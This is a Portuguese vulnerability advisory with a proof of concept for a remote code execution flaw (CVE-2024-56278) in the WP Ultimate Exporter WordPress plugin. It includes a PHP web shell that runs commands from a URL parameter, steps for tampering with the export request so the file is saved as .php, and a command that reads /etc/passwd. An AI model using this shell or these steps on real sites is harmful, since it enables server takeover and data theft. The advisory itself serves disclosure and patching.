4️⃣ Pré-requisito

Administrador

5️⃣ Detalhes da vulnerabilidade

👉 Descrição curta

O plugin WP Ultimate Exporter é um complemento para o plugin WP Ultimate CSV Importer. Este plugin permite exportar todos os posts, produtos, pedidos, reembolsos e dados de usuários nos formatos CSV, XLS, XML e JSON. Ao exportar, os arquivos são criados no caminho de upload, e o plugin apenas entrega o conteúdo desses arquivos aos usuários.

No plugin WP Ultimate Exporter, versões 2.9.1 e anteriores, ao solicitar a exportação de dados, se a extensão do arquivo nos dados da solicitação for definida como PHP, um arquivo PHP é criado no caminho de upload. Portanto, se o conteúdo do arquivo criado contiver sintaxe PHP, ocorre uma vulnerabilidade de Execução Remota de Código (RCE), pois a sintaxe PHP é executada ao acessar esse arquivo.

👉 Como reproduzir (PoC)

⚠️ Como o plugin 'WP Ultimate Exporter' é um complemento para o plugin 'WP Ultimate CSV Importer', ambos os plugins precisam estar instalados.

1. Crie um novo post usando o editor de código (atalho: ⇧ ⌥ ⌘ M) com o seguinte conteúdo:

   root@kitploit:~

   <pre>
   	<?php
   	    if(isset($_GET['cmd']))
   	    {
   	        system($_GET['cmd']);
   	    }
   	?>
   </pre>
   

2. Navegue até a aba 'Export' do plugin WP Ultimate Exporter. Isso pode ser acessado clicando na aba 'Export' no painel do plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).

3. Inicie uma ferramenta de proxy (ex.: BurpSuite) para interceptar pacotes de solicitação e prossiga com as etapas a seguir com a Interceptação ativada.

4. Em seguida, selecione 'Posts' em 'Select the module to Export Data' e prossiga para a próxima etapa.

1. Depois, em 'To export data based on the filters', defina os seguintes itens e clique no botão 'EXPORT'.
   • Export File Name Insira 'webshell'
   • Advanced Settings Selecione 'CSV'

1. Neste ponto, uma solicitação de método POST é enviada para a URL /wp-admin/admin-ajax.php para exportar os dados. Altere o valor de exp_type nos dados da solicitação de csv para php e clique em Forward.

1. Insira /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd na barra de endereços do navegador para exibir o conteúdo do arquivo /etc/passwd no servidor onde o WordPress está instalado. Isso demonstra a vulnerabilidade de RCE.

👉 Informações adicionais (opcional)

[Causa da vulnerabilidade]

Ao exportar dados no plugin WP Ultimate Exporter, a função parseData no arquivo /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php é chamada.

Neste ponto, nenhuma filtragem é realizada nos dados da solicitação exp_type que determinam o formato dos dados de exportação, e o valor é inserido diretamente na variável membro $this->exportType.

Posteriormente, a função proceedExport é chamada para salvar os dados em um arquivo. Neste ponto, ao inicializar a variável $file que especifica o caminho de armazenamento do arquivo, a variável membro $this->exportType também é usada sem qualquer filtragem.

Posteriormente, o caminho do arquivo armazenado na variável $file é passado como argumento para a função file_put_contents, e neste ponto, o arquivo é salvo com a extensão especificada nos dados da solicitação exp_type sendo aplicada diretamente.

Portanto, quando dados de post contendo código de Web Shell são salvos como um arquivo PHP e esse arquivo é acessado, ocorre uma vulnerabilidade de Execução Remota de Código (RCE), pois o código PHP é executado.

[Implementação e execução do código PoC]

1. Abra o código PoC em um editor e insira o endereço do site WordPress e as credenciais de administrador.

1. Em seguida, insira o seguinte comando para executar o código PoC.

   Módulo necessário requests

   root@kitploit:~

   python poc.py
   

   

6️⃣ Demonstração do exploit

7️⃣ Referências

• https://nvd.nist.gov/vuln/detail/CVE-2024-56278